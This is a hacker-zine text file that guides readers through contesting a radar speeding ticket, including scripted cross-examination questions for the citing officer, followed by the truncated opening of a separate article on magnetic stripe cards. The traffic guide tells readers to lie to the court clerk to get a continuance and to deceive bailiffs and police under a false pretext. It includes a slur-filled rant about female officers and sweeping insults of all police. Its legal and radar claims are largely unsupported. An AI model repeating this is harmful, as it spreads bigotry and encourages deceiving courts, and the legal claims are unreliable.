| Introduction | Welcome to the first of two parts in a series designed to |______________| inform you about some of the aspects (both legal and technical) concerning traffic radar. The second part will appear in Phrack 38. I recommend you read both parts before attempting to apply the information you learn from this file.

Any hacker will tell you to ALWAYS find out as much as you possibly can about any endeavor and weigh the risks before you act. For most of us driving is something that we must do in order to have a career, get to school, and enjoy ourselves. Therefore it is essential to know the rules of the road and to know what will happen to you when you make a mistake. For the majority of us, this mistake means being given a speeding ticket or some type of moving violation.

This file will explain how to handle the situation should you ever need to go to court over a speeding ticket. I intend to provide you with a basic background so that the odds are a little more even.

One of the nasty things about traffic court is that for some reason, the burden of proof has flip‑flopped from the state having to prove you are guilty (the way it is supposed to be) to the defendant having to prove that he/she is innocent.

First of all you are not alone in your quest to seek justice. Most judges are not evil and hateful. If you come into court, neatly dressed (not fancy, just look like a "semi‑normal" person.), well informed of the issue, courteous, and acting a little humbled by the experience, the judge may lean a little more to your side. If you go to court, you will see a number of idiots who will stand up in front of the judge and argue or say "I wasn't doin' nothin'. I was just bein' harassed. I'm right and this pig was wrong. Nyah!" Obviously, the judge will not take kindly to this type of behavior. Would you?

In order to be informed, I HIGHLY recommend that you get in touch with the:

National Motorists Association Membership: $20 student 6678 Pertzborn Rd. per year $35 everyone else Dane, WI 53529

Phone : 1‑800‑882‑2785

The NMA provides a great deal of resources to those of use who drive. They provide (with membership) a legal resource kit for a rental fee of around $20.00 a month. This kit consists of 2 video tapes, 2 books, and a HUGE stack of information. Much of the "HUGE stack of information" consists of precedent cases in which the defense won, ALL radar gun manuals, lots of related news articles, error analysis information on vascar and other useful tidbits of information. It is excellent and I urge anyone who drives to get involved. The NMA, among other things, is the nice name for the "anti‑55 people." They claim that it is up to the local governments and states to come up with their own speed limits. It's not Washington's job to tell the rest of us how to live!

The last thing I want to mention is that this is NOT a comprehensive file. Reading this will NOT make you a lawyer. If you can afford a lawyer, hire one. It is intended for people like me who can't afford a lawyer but who have some intelligence and guile in their personal make up. There's more than one way to skin a cat (cop) and you should NOT take this as a word for word way to proceed if you get nabbed for speeding. I intend for this to be the basis for building a good foundation for a case and to give you some ideas on how you might want to proceed. Do not go into the court room half‑cocked. A good lawyer always knows the outcome of a case before he steps into the court room.

_______________________________________

| |

| You Get Busted! | So the red lights are blinking behind you and your radar |_________________| detector is going wild because you weren't paying attention because you were too busy messing with the radio and jamming to MC 900' Jesus so loudly that it shakes the widows of the car next to you. The first thing you want to do is pull over immediately! Don't try to be an bad ass and out run them. In most cases the cop's car can go faster than yours and besides, he has a radio. After you pull over, just hand him what ever he asks for and play in his desire to be "in control". Always say, "Yes sir" and "No sir" They LOVE that. Be as NICE as you can. Act "humbled". I know this may sound difficult but just TRY. ALL and I mean ALL people that become law enforcement officials have taken that job because they have some personality disorder that they NEED to feel in control of others and a NEED for others to respect them. This is a weakness in their personality, in my opinion. Anyway, If he just had a good round of golf that day, he may only write you a warning. If he still insists on writing you a ticket, he will at least know that you will not be a threat to him. ALL police officers, especially in large urban areas, will always approach your car as though you are going to shoot them. Make the officer thinks you are nice person (for the moment) and that your just weren't paying attention and you made a mistake. Again, as soon as you prove to him you are not a threat, he will relax and things will go much easier for you. I ALWAYS do this and the officer is actually NICE back to me most of the time. Even though his first impression is "long haired kid in a hot rod car wearing a Metallica shirt," the encounter usually ends with a "Have a nice day." or a "Just make sure you be careful now. ok?"

NOTE: If you are pulled over by a bull‑dyke female cop, you are totally fucked. Social engineering is totally useless. ALL and I mean ALL bitch cops are just looking to prove something. They have a bad attitude because the "old boy" network back at the station doesn't like them and they think that most males will look on them as less of an authority figure merely because they are female, if they do not compensate (overcompensate) for the fact that they are women. They think that they will be challenged more often than not by you. I have yet to ever meet a NICE female cop. Lets face it, if they were NICE they would probably be an attorney or something. If you are women police officer reading this and you are not like what I have just described in the above paragraph then just ignore it and tell your cohorts to adjust the attitude!

Continuing on...As you are sitting there with everyone slowing down to take a look at you, make note of EVERYTHING! Write down the following:

1) Location (intersections, curves, condition of the road)

2) Weather (rain, fog, snow : all hinder traffic radar)

3) Traffic and all types of vehicles present (large trucks?)

4) Time (rush hour?)

5) Buildings present (airport? radio station? bank? microwave towers? power lines? hospital? telephone office?)

6) Officer's attitude (if he's angry this will play in your favor later) 7) Etc (anything else I failed to list here)

_______________________________________

|

| Your Ticket and Pre‑Trial Experiences | So. Now in your possession you have

|_______________________________________a little gift from whomever had a

bad day at work. The first thing

you will want to do is make sure that all the information on the ticket is correct. If it is not, make sure that you take note of this and be sure to mention it as soon as your trial begins! You might be able to get off on a technicality. Another thing to check for is to make sure that the officer didn't write any little messages to the judge on the back of the ticket. If he wrote "radar detector." or some other irrelevant evidence, make sure you point out to the judge that that the speeding ticket is inadmissible as evidence in court due to the fact that it contains information that does not pertain to the case. The idea behind this is that most people that are caught speeding have radar detectors. Therefore, the cop will try to play on this fact in an indirect way. Even though this evidence is irrelevant, he will attempt to submit it. If the judge is cool, you'll get off on a technicality. Other ways to get off on technicalities is to make sure that EVERY tidbit of information is CORRECT. Incorrect information is a great way to get off. This is a "procedural error" and might get the case dismissed. Continuing on....

Ok, so the ticket says you have to appear in court December 21st at 4:00. All this means is that if you wish to pay the ticket you must do so by this time and date. This does not usually mean you will actually go to court on this date. What you do next is go to the clerk's office and hand the lady behind the counter the ticket and say that you wish to contest it. They will set up a date (usually much later in the year sometimes a YEAR LATER if things are really backed up) and give you a piece of paper that you must bring to court with you. I highly suggest to everyone to ALWAYS, ALWAYS, ALWAYS contest a ticket. Hell, you have to pay court fees whether you show up or not so you might as well go, right? The point is to make them work for your money!

One good plan of action is to go to court a few weeks ahead of time and observe how proceedings work in your local court room. Just tell the bailiff that you are a criminal justice major and want to see how traffic court works and observe what REALLY goes on instead of reading it in a text book. If you are really clever, you might just want to ask one of the cops if you can go out and watch how police officers bust people speeding. Use the oldest, most classic social engineering maneuver ever invented, "It's for a paper for class." Let them think you are interested in becoming a cop. I don't care what they do or who they are, if someone comes up to them and appears to take interest in their profession, they will always be flattered. Always flatter the hell out of anyone you want to engineer!

The first thing you want to do before actually going to court yourself, is to not go to court. About a week before the trial or less, call the clerk's office and ask for a "continuance." Tell them that your boss told you that you have to go out of town the day of the trial and they will schedule you a new trail date. This is important because most police officers are less willing to show up. Thus if he's not there to prosecute you, you get off!

_______________________________________

|

| Here come de Judge! Here come de Judge! | Ok, so you're now sitting there

|_______________________________________in the presence of the other poor

idiots that are in a similar

predicament as you are. As you are sitting there sweating your ass off (being this is your first time in court, hopefully) Make sure you make note of other people's cases. What do the officers say when someone mentions traffic radar? See above above paragraph about testing the water a little. I have obtained a ton of information on how departments REALLY operate when they know I'm not there to pressure them. Use the lame statements the officers make against other officers and the rest of the department, when it's your turn. One time, before it was my turn I watched this one cop say, "The radar units are calibrated by the manufacturer and sent to us." Needless to say, I won that case!

Now the bailiff calls out, STATE OF TEXAS v. MR. OFFENDER! By this time you should know the routine. As soon as the judge opens things up to you ask him/her if you can examine the witness. They will say, "yes." Here is where you begin to make your case.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

PRELIMINARY QUESTIONS : "What?!?!?!" This is what the cop has going on inside his head right now. You are no longer the innocent fool you appeared to be in your car? He immediately raises his guard and you must lower it my placing a few questions to him and wearing him down. This part of the questioning is done to see if he can remember the exact circumstances under which he pulled you over and to get him used to you taking control of the interrogation.

A. What type of radar were you using on the date the citation was issued?

‑ Make sure he gives you the model name and number. Answers like "traffic radar or Doppler radar" should not be permitted.

B. Please relate the facts concerning the citation as you remember them.

‑ Make note if anything differs from what you remember to be true.

C. Was your audio doppler engaged at the time the citation was issued?

‑ If he says he doesn't know what that is, he hasn't been trained! The hand held units. (Speedgun series don't have audio doppler!) This is a good question to trip him up on! If he says he had it engaged, merely whip out the manual and ask him if to point out where the heck it is. OR you can ask to subpoena the unit to court and ask him to find it!

D. What speed was your audio alarm set for?

‑ If he says he doesn't know what that is, he hasn't been trained!

E. Was your automatic speed lock engaged?

‑ If yes, you have already started to build your case that they made an error. If not then keep going.

F. Were you stationary or moving at the time your radar unit's alarm went off?

‑ Who cares unless you want to go off and provide some kind of "cosine‑error" evidence later.

G. Was I coming toward you or away from you?

‑ Again, this doesn't matter

H. Did you see me prior to the time your radar's audio alarm went off?

‑ This is important, you are in effect asking him if he took a traffic history before he set up camp behind the bushes waiting to pop people.

I. Could you estimate my speed?

Irrelevant

J. What was the apparent speed?

Irrelevant

K. How many seconds did it take you to react between the time you first saw my vehicle and the time your audio alarm sounded?

‑ This doesn't matter, unless it was a case of you coming around a curve or over a hill and old Smokey is there waiting to bust the first thing that makes his little machine go beep. He must have tracked you long enough to get a good reading. This should be about 5‑8 seconds to take into account spurious readings. If he didn't wait that long he is ignoring his training.

L. Using this paper could you make a map of the area?

‑ Most of the time to police officer will be unable to remember details of the surroundings since he hands out many tickets a day. This is a good place to establish doubt.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

ESTABLISH THE OFFICER'S LEVEL OF QUALIFICATIONS: This is done in an attempt to make the police officer appear as unqualified as possible. Make the officer appear to have as little training as possible and be as unfamiliar with the radar unit as possible. The bigger a fool you can make the cop out to be the more points you'll score with the judge.

A. How long have you been a police officer?

Irrelevant unless he's just come straight from the academy

B. How long have you been operating radar?

Irrelevant unless it's a year or less.

C. Have you received formal training on the operation of radar?

‑ If NO then you've hit pay‑dirt.

D. Under what circumstances did you receive this training?

Irrelevant unless he says, "in the locker room." In this case he may be on your side.

E. How many hours of classroom training did you receive?

‑ This is an important answer. If he says four or less, he's probably not qualified. Make note.

F. How long ago did you receive this training?

Irrelevant unless the answer is five or six years ago. He may be out of practice and probably wasn't trained on the model he used to bust you.

G. Who taught the class?

‑ If it was his sergeant, you have a case of the blind leading the blind. If it was the radar manufacturer you have a potentially biased source since the manufacturer will do anything to sell it's merchandise! If he was SENT to the manufacturer's school he's better than most.

H. Since initial training, have you had any brush‑up courses?

‑ If he says yes, he's full of more shit than you are. Ask who taught them and when they were.

I. Do you believe yourself to be a competent radar operator?

‑ Sure he does

J. Do you hold a certification?

‑ In some states he MUST be trained at the manufacturer's school. If he says his sergeant certified him. You may be able to walk out of court right there. It's a case of the blind leading the blind.

K. Did you receive your initial training with the model (the one he popped you with)?

‑ If his formal training was with another unit, you've hit pay‑dirt again!

L. How many one‑on‑one sessions of field training did he receive?

‑ Answers like, "I rode with another officer while he wrote tickets." are not good. Keep pressing him on this issue. Most likely he did not have this type of training unless it was done by a factory representative and then there were three other officers in the car at the time.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

ESTABLISH THE LEVEL OF TRUST THE OFFICER PLACES IN HIS RADAR: These questions are used in an attempt to make it appear as though the police officer himself questions the reliability of traffic radar. This is where things get fun and he could even purger himself if he's not careful. In which case you win again!

A. Do you believe the (radar unit he popped you with) to be a good unit?

‑ Of course he does. If he doesn't he may be on your side.

B. Have you ever encountered problems with the (model) radar?

‑ If he says yes, make sure he tells you details, and not simply, "It quit working one day."

C. Are you permanently assigned to one specific radar unit?

‑ They will always switch around. He will most likely say that he uses the same brand name but different models.

D. Do you believe there to be differences between brands of radar units or models? Will one have idiosyncrasies that others may not have?

‑ He will most likely say that they all work alike. If he says he has differences make sure he tells you exactly what they are and how he noticed them.

E. Do you believe that the (model radar) ever gives spurious or false readings?

‑ If he says "no." Make sure you have documented evidence of this. (see above information on the NSA) This is a real good way to make him look like an idiot. Make sure that you repeat the question and emphasis the word "NEVER." After he says no again, hand the document to the judge and say something to the effect that, "I have written evidence right here that was written by an independent engineering firm that proves that (model radar) does have the capability to give false readings. Now, in a court of law you are not permitted to defend yourself while examining the witness, however, since you are not an attorney. The judge may permit you do submit your testimony.

If the officer says "yes" he has seen false readings, ask him what percentage of the time it does give spurious readings. In the case STATE OF WISCONSIN vs HANSEN, in which HANSEN prevailed. It was proven that radar can give false readings up to 20% of the time.

F. Do you believe you can always tell the radar unit is giving a spurious reading?

‑ He will always say he can. If he says, "no" then you've already established reasonable doubt. When he says "yes," then proceed with the next two questions and then come back to this one again.

G. Is there is a special number that appears on the screen that indicates a false reading.

‑ Not!

H. Does the unit give some visual indication that the reading is suspected to be false?

‑ Not! (Believe it or not! The very first case I went to defend myself, the idiot cop said that there was an "indicator light that noted when there is radar disturbance in the area." HAHAHAHA!!! What a joke. I asked him to point it out to me and of course he couldn't. Therefore he just lied under oath. He fucked himself hard! Needless to say the judge wasn't too pleased, to see a police officer lying either! ;‑)

I. How then can you tell that the reading you are getting is spurious?

‑ He will answer that there is no target or that the car is obviously not speeding.

J. You said that there isn't some special speed or number that appears on the screen. All 86 mph speed readings are not spurious for example?

‑ Of course not.

K. So the spurious reading could be either 20mph or 70mph?

‑ Of course. If he says not, he is out of his league and attempting to evade answers.

L. The radar could give a speed of 20mph or 70mph, but you could see clearly, for example, that the car was going only 30mph?

‑ He should agree with that.

M. What if a car was going 55mph and you got a reading of 70mph? Is this possible?

‑ He should agree with that.

N. Assuming a car was approaching you at 55mph. You could recognize that?

‑ He'll probably say he could. If he does, keep going. If he says he could not then you've already established doubt.

O. If a car was approaching at 55mph and you get a reading of 56mph. Could you tell that it was a spurious reading?

‑ Of course not. At this point keep the pressure on by rapidly asking the question over and over again and increasing the false reading by one mph until he gives. If you've led the cop into this trap you are doing great! He is totally fucked if he answers either "yes" or "no." This is because you are establishing more doubt each time he says "no" and if he does say "yes" too soon he will appear to have some super‑human quality!

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

USE OF AUDIO DOPPLER, AUDIO ALARM, AND AUTOMATIC SPEED LOCK: All radar units include features designed to make the officer's job easier. The AUDIO DOPPLER can be turned down or off, as is usually done, therefore it contributes nothing to reliability. The AUDIO ALARM is a warning tone that tells the officer the radar unit has "got one", and it is built into all radar units. The officer must dial in a speed above which he wants the alarm to sound. The only way to disengage the alarm is to dial the speed to 99 mph or 199 mph on some models. The AUTOMATIC SPEED LOCK is the worst thing ever put in a radar unit. It automatically locks up a speed reading when one comes above the preset level. If the reading is spurious, the officer never knows it. Your goal here is to establish his normal operating habits. Later, you'll find out how he was using radar on the day he busted you.

A. Does your radar unit have an audio Doppler? That is a continuous audio single tone which converts the radar unit's Doppler shift into an audible signal?

‑ He will say his unit does, unless it's a Speedgun, in which case it does not. If it was a Speedgun jump to question "M".

B. Does the audio doppler have a volume control?

‑ Yes it does.

C. Do you ever use your audio doppler?

‑ If he says "yes" continue. If he says no skip to question `M`.

D. About what percent of the time will you listen to the audio doppler?

‑ note percent

E. When you operate your radar unit with audio doppler on do you operate it at full volume?

Heh, yea right!

F. At what volume do you operate it?

‑ The question can only be helpful if he says he operates it at a low volume. Try to ask him a few similar questions that will make him answer "low volume." IE: "I know that that tone get's awfully annoying doesn't it?"

G. Do you ever turn it off?

‑ Sure he does.

H. Why do you turn it off?

‑ Because it is irritating as hell!

I. Does the use of audio doppler ever interfere with your use of the police radio or your conversations with other officers?

‑ He should say it does.

J. So you operate with the audio doppler off about ___ percent of the time?

‑ Fill in the number that he gave you earlier.

K. Of the rest of the time, how often do you operate it with the volume on soft.

‑ (Note the percentage)

L. Do you consider the audio doppler an important tool to prevent operator error?

‑ Only important if he says "no".

M. Is your radar unit equipped with a dial that lets you select a speed above which an audio tone will sound if a violation speed is picked up?

‑ Yes, all radar units have this feature.

N. We'll call that feature the AUDIO ALARM. Do you commonly use that feature?

‑ He has to.

O. What percentage of the time do you use this?

‑ If he answers anything less than 100%, ask him how he disengages it. He would have to disassemble the whole radar unit.

P. If the speed limit on a highway is 55, what speed do you normally dial in as your pre‑set violator speed?

‑ Note speed. The answer isn't critical.

Q. Do you find that feature to be a useful one for you?

‑ He'll probably say it's sometimes useful.

R. If a violation speed causes the alarm to sound, you need only reach over to lock in that speed, is that correct?

‑ That's how it works.

S. Does your radar unit also have a button or switch which permits the radar unit to automatically lock up the violation speed?

‑ Yes, it does.

T. Do you ever use that automatic speed lock function?

‑ If he says "no", repeat the question with an emphasis on the "ever" and look skeptical. If he still says no, skip to the next question section.

U. About what percent of the time do you use the automatic speed lock?

‑ Note percent.

V. Do you find that automatic speed lock convenient?

‑ Sure he does. That way he can read a magazine or take a nap while the radar unit does the for him!

W. Do you use the automatic speed lock for any other reason?

‑ Note reasons, if any.

X. Was the use of the automatic speed lock included in your training?

‑ Answer isn't important.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

ESTABLISHING WHETHER THE OFFICER USES A VISUAL BACK UP: When cops go to court, they have a "model testimony" used to establish their reasoning for giving out a ticket. One part of this testimony usually centers on the radar unit used only as a backup to their visual perception that you, the defendant, were traveling at a "high rate of speed" or at "X mph." Put in it simplest form, this is total hogwash. A trained officer can make a visual identification of speed at a distance of perhaps 500 feet. The radar can theoretically make that same speed determination at 5000 feet. The radar's alarm will sound many seconds before the policeman can make a visual speed determination. As it is, the cop will observation of a car will verify what the radar has already told him. THIS IS WRONG! The law states that "radar readings can ONLY be used as corroborative evidence." If the cop sees that the car is traveling slower than what the radar says, he will merely assume that the driver saw him and slowed down. The following questions are used to establish whether or not the cop did use visual back up, and trap him onto making a statement which can later be used against him!

A. I'm going to start this question by defining a term I call a "traffic history". A traffic history is the continuous observation of traffic by a police officer. If an officer takes a traffic history, it means he is CONTINUALLY WATCHING TRAFFIC; looking for speeders, drunken drivers, or any other offenders. Do you understand what I mean by a traffic history?

‑ If the officer doesn't understand, keep explaining until he does.

B. With regard to speeding tickets, an officer who says he normally takes a traffic history can say that he observes traffic patterns for a period of several seconds ‑‑ usually three to five seconds ‑‑ before he sees what he believes to be a speeding incident. That is, three to five seconds before his radar unit sounds its alarm. He then continues to observe traffic fora period of several seconds while he determines that a citation should be issued. Do you understand that definition of a traffic history as it applies to speeding tickets?

‑ The officer should understand.

C. Using that definition, have you EVER taken a traffic history prior to issuing a speeding citation?

‑ He will probably answer that he has. If he says no, see answer E.

D. About what percent of the time can you say you have taken a traffic history when you issue a speeding ticket?

‑ Note percent. It will probably be very high.

E. Do you believe it is important to take a traffic history in speeding cases?

‑ He'll probably say "yes." If he says no, you have a strong argument in court, namely that he had no visual backup; that he was relying solely on his radar unit. His "yes" answer, in conjunction with the fact that he didn't take one in your case, can be used against him in court.

F. At about what distance can you make a determination that a car is doing a certain number of miles per hour?

‑ Most policemen answer about 500. If he hedges or says it depends, set up a specific situation, for example, he is in the median strip of a level, straight, uncrowded highway. At what distance can he make a visual determination of the speed of an approaching car? If he says he still can't say, throw the 500 feet figure at him and see if he agrees. Shorten and lengthen the figure to get an estimate he can live with.

G. When you take this traffic history and make a visual assumption about speed, you do so BEFORE your radar unit has sounded its audio alarm?

‑ THIS IS A TRICK QUESTION. If he says "yes", he's in trouble because his radar unit's range is doubtlessly longer than his visual acuity. If he says "no", then he hasn't really taken a traffic history. If he says "yes", ask questions H and I.

If he says "no", ask questions J, K, L, M, N, and O, P, Q, R.

H. Approximately what is the range of your radar unit?

‑ He'll probably say he doesn't know. Throw figures between 3,000 and 5,000 feet at him and see if he agrees with any of them. If he still doesn't know, ask if he'd be surprised to find out that his radar unit had a range of at least 3,000 feet. If he says yes to that question, you have just nailed him on a vital technical question.

I. But you still stick to your statement that the radar unit does not sound an alarm prior to your being able to recognize the true velocity of a car?

‑ Regardless of his answer, you've made your point.

J. Then you don't really take a traffic history.

‑ The neatest answer is "no", which he probably won't say. Instead, he'll say that sometimes it does and sometimes it doesn't. For the "sometimes it doesn't" answers, go back to questions H and I. For the "sometimes it does" answer, continue.

K. If the radar unit sounds an alarm before you've had a chance to ascertain that a car is speeding, how can you say you've taken a traffic history?

‑ He'll probably say it alerts him to look for a speeder.

L. Do you look down to see how fast the radar unit says a car is going?

‑ He'll probably he looks. If he says he doesn't look, tell him, "but you know a car is definitely going at least X mph over the speed limit?" To that, he has to answer yes.

M. Does the knowledge that the radar unit has already "got one" influence your judgement in making a visual determination of a car's speed? That is, will you be more likely to agree that a car is going a certain number of miles per hour after the radar has already said that it was going that speed?

‑ He should agree. If he doesn't, ask him why he doesn't just run his alarm setting up to 99 mph to make certain it never influences his judgement? His answer won't matter.

N. Would you be more inclined to believe that a car in the left lane of a fourlane highway was a speeder if you heard your audio alarm go off?

‑ If he's honest, he'll say yes. If he isn't, he'll say, "if it was passing another vehicle". Counter with "what if there wasn't a reference vehicle present, but the car was still in the left lane? If he still says "no", ask him again why he doesn't just run his alarm counter up to 99 mph.

O. If there was a car going slower than the speed limit in the right lane, and a car driving at the speed limit in the left lane apparently passing it, and your radar unit either malfunctioned or misread the target, might you mistakenly conclude that the car in the left lane was speeding and issue the driver a citation?

‑ If he's honest, he'll answer "yes", building your case for operator error. If he says "no", he could tell the car in the left lane wasn't speeding, you're back to question F.

P. If your radar unit said it had picked up a car going, say, 70 mph, and when you were able to make out its speed, it was clearly going the speed limit, would you be inclined to believe the motorist had seen you and quickly slowed down?

‑ The honest officer will say yes.

Q. Would you still issue the citation based on the radar reading?

‑ Again, he should say "yes".

R. Why do you set your alarm counter for a certain number of miles per hour over the speed limit?

‑ His answer may be that he was trained to do so (unusable), or that he needs it for special circumstances (worth following up). Any excuse will be lame.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

ESTABLISHING THE LEVEL OF KNOWLEDGE ABOUT BEAM WIDTH AND RANGE: Under HONEYCUTT, a police officer does not need to know the inner workings of his radar unit in order to have his testimony accepted by the court. The mistake is made by many persons challenging radar‑backed speeding citations is to try and demonstrate to the court that they know more about radar than the cop that issued them a ticket.

It really doesn't matter how much you know about radar. All the court wants to know is how much the officer knows. Few judges have ever questioned the qualifications of the citing officer. Your job as a defendant is to make the judge do just exactly that! You will have to plant a seed of doubt in his/her mind by showing that in several key areas, the officer doesn't know fundamental aspects of radar.

A. With respect to everyday operation of your radar unit, do you know what its approximate range is?

‑ Depending on the model, the answer can range from 3,000 to 7,000 feet. Refer to second article in this series that will appear in the next exciting issue of Phrack!

B. At a distance of 1000 feet how wide is the radar beam?

C. About how far from the radar antenna will the beam be when it is width of one lane of traffic, or about 11 feet?

D. With what degree of certainty can you point your radar's antenna at, say, the left lane of oncoming traffic and at a distance of, say, 500 feet be focusing on just that lane of traffic?

‑ The answer is zero. Anything else and he is wrong.

E. In the stationary mode, you can lock the speed of traffic in either direction, that is, you can flip the antenna to record traffic going away from you or traffic coming toward you. Is that correct?

‑ Yes it is.

F. Can your radar differentiate between traffic direction? For example, if you're setting along a expressway, and you have your radar unit pointed toward you oncoming traffic, will your radar unit pick up only oncoming traffic, or might it also pick up traffic on the other side of the median strip moving away from you?

‑ It will pick up traffic in either direction. Any other statement (e.g. "sometimes it does and sometimes it doesn't" is ignorance.)

G. In moving mode, can your radar pick up traffic both coming toward you and traffic moving away from you?

‑ The Speedgun 8 is the ONLY radar that can do this. It can only clock cars coming toward it. No other radar unit can do this!

H. [In the next two questions you will have to draw a picture. Draw a vertical roadway with a car (#) going up toward the top and the cops car | . | oriented perpendicular to the road (<:=). Next draw a line that is | . | perpendicular to the roadway (<‑‑‑). This is the radar beam. You | . | should have a slightly larger drawing :) that looks similar to <‑‑‑‑‑‑‑<:= the one to the left. Hold this up so that the judge and the cop | . | can see it and ask the following question.]

| .^|

| .#|

In this diagram, the radar is held at right angles to the roadway. A north bound car driving at 55mph enters into the radar beam. Will the radar unit pick up the car?

‑ It cannot. There is NO doppler shift because there is no closing speed between the vehicle and the radar unit. If he answers correctly, skip to question "J".

I. [Again you need to draw a picture similar to the one above, but this time add a car going in the opposite direction, in the other lane of course! It should look something like the picture below. Now present this to the cop and the judges and ask the following: (Refer to this as |#. | fig. `2`)]

|~ |

| . |

<‑‑‑‑‑‑‑<:=

| . |

| .^|

| .#|

In this diagram, two cars are approaching from opposite directions, with the radar unit sill pointed at right angles on the highway. The north bound car (right) is going 55mph. The southbound car (left) is going 65mph. Which car will the radar unit pick up and how will you be able to distinguish between the two?

‑ If he even thinks about answering this question he is an idiot. Neither car will register. (see question `H`)

J. What kind of things will stop the beam? Will underbrush stop the beam or can you get a reading through tall grass, weeds, and bushes?

‑ Radar will go through these things.

K. Are there circumstances under which you can obtain the speed of a vehicle you cannot see? For example, can you obtain the speed of a vehicle around a corner or over a hill?

‑ Not in this world.

L. Will your radar beam bounce off a metal surface such as a sign, a car, a ,metal building, or a steal or concrete overpass?

‑ Sure will.

M. What happens to the beam when it bounces off a metal object? Could it pick up the speed of a car at an angle to the direction you have the radar pointed?

‑ Yes it will.

N. Could a high power utility transmission line interfere with the radar unit?

‑ Yup.

O. Could airport radar or military radar interfere with the radar?

‑ Sure can.

P. Have you ever noticed interference from things like neon signs or street lights?

‑ Such things do produce interference

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

FINAL QUESTIONS: By now you have either made a enemy of the officer (most likely outcome) or started him thinking about the incident (if he is a good police officer). The officer, of course, doesn't know what answers he got right and what ones he got wrong. Watch for variations between answers, or especially, any weakening in his determination that yours was the car which registered on the radar unit.

Questions `N`‑`Q` taken together represent critical procedural questions. It is important to differentiate between an internal calibration check (pushing a button) and an external check (holding a tuning fork to the antenna).

A. Officer (such and such), let's go back over your recollection of the incident one last time. Can you relate the facts concerning the citation as you remember them?

B. Was your audio Doppler engaged at the time of the incident? How loud or soft was it?

C. What speed was your audio alarm set for? Had you moved it up or down during your shift?

D. Was your automatic speed lock engaged?

E. Were you using a manual on‑off switch?

F. Were you in a stationary or moving mode at the time?

G. Was the defendant coming or going away from you?

H. Did you see other vehicles either in front of or behind the defendant? Were they varied in size? Were they varied in direction of travel?

I. Was there traffic moving in the same direction as you? (if moving)

J. Did you see the defendant prior to the time your audio alarm sounded?

K. Were you able to obtain an approximate speed reading based on your visual identification? What was your point of reference?

L. How many seconds elapsed between the time you first observed the defendant and the time your audio alarm sounded?

M. Were there any power lines in the area? Cars or homes with CB antennas? Buildings with two‑way radio antennas? Had you been talking on your radio?

N. Regarding calibration of the radar unit, using the INTERNAL calibration function, at what times before and after the citation did you check the radar?

O. Using an "external tuning fork", at what times before and after the citation did you check your radar?

P. In your estimation, what is the difference between the internal and external calibration function?

Q. Do you consider one of the calibration checks to be a more accurate indicator of accuracy? Which one?

_______________________________________

| |

| Closing Arguments | If you have done well you will have established a great |____________________| deal of doubt in the judges mind as to the capability of the officer in question to operate a radar unit. You have have set him/her thinking about the "big picture." That is, "Just how accurate is traffic radars?" This is what you want to achieve but it must be done in subtle way.

You aren't out of the hole yet! Now that you have established doubt in the judge's mind you MUST provide testimony that will TIE all the testimony the officer gave in with YOURS. This is where you have to do the thinking on your own. It should be very obvious how to do this. Your job is to break down the testimony. You are looking for 1) Procedural errors, 2) Lack of knowledge on the part of the officer, 3) Possible radars errors. If you can get him on two of the three, you are set!

Procedural errors include things like the previously mentioned incorrect citation. Other procedural errors that are easy to play on is this. The officer must use an external tuning that is certified as to it's accuracy in testing the radar unit immediately before he gives a citation. Two court cases that are examples of this are WISCONSIN v. HANSEN and MINNESOTA v. GERDES. Simply put, if you are in need of throwing around some weight in court, just cite these two cases. They are great!

Ignorance on the part of the officer is pretty obvious. If he messes up the questions, he is ignorant. They are all pretty simple, I think. If a cop does things like, uses his automatic speed lock or doesn't use his audio doppler, he is blatantly ignoring his training. Most of the time they will bring a copy of their training manual to court. Just point it out to them!

There are too many potential radar errors to mention here. You must try to locate them in the vicinity of where you encounter your ticket. Anything that transmits on uncommon frequencies is great to note. (e.g. burglar alarms, garage doors, CB's, Ham Radio, rain, fog, police radio, hospitals, etc, etc.)

In closing, I hope you found this information useful and look forward to the second part in my series, "Beating the Radar Rap: The Technical Side." This will be a file where I go into picking apart the actual flaws that specific radar guns have.

Card-O-Rama

Card‑O‑Rama: Magnetic Stripe Technology and Beyond

or

"A Day in the Life of a Flux Reversal"

Written by

oooOO Count Zero OOooo Restricted Data Transmissions

November 22, 1992

Look in your wallet. Chances are you own at least 3 cards that have magnetic stripes on the back. ATM cards, credit cards, calling cards, frequent flyer cards, ID cards, passcards,...cards, cards, cards! And chances are you have NO idea what information is on those stripes or how they are encoded. This detailed document will enlighten you and hopefully spark your interest in this fascinating field. None of this info is "illegal"...but MANY organizations (the government, credit card companies, security firms, etc.) would rather keep you in the dark. Also, many people will IMMEDIATELY assume that you are a CRIMINAL if you merely "mention" that you are "interested in how magnetic stripe cards work." Watch yourself, ok? Just remember that there is nothing wrong with wanting to know how things work, although in our present society, you may be labelled a "deviant" (or worse, <gasp> a "hacker")!

Anyway, I will explain in detail how magstripes are encoded and give several examples of the data found on some common cards. I will also cover the technical theory behind magnetic encoding, and discuss magnetic encoding alternatives to magstripes (Wiegand, barium ferrite). Non‑magnetic card technology (bar code, infrared, etc.) will be described. Finally, there will be an end discussion on security systems and the ramifications of emergent "smartcard" and biometric technologies.

*DISCLAIMER*

Use this info to EXPLORE, not to EXPLOIT. This text is presented for informational purposes only, and I cannot be held responsible for anything you do or any consequences thereof. I do not condone fraud, larceny, or any other criminal activities.

*A WARNING*

